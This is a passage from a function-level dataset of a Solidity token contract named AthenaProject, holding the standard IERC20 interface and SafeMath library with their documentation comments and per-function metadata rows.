* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
1647,
1726
]
} | 11,744 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
2039,
2141
]
} | 11,745 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
259,
445
]
} | 11,746 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
723,
864
]
} | 11,747 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
1162,
1359
]
} | 11,748 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
| /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
1613,
2089
]
} | 11,749 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
2560,
2697
]
} | 11,750 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
3188,
3471
]
} | 11,751 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
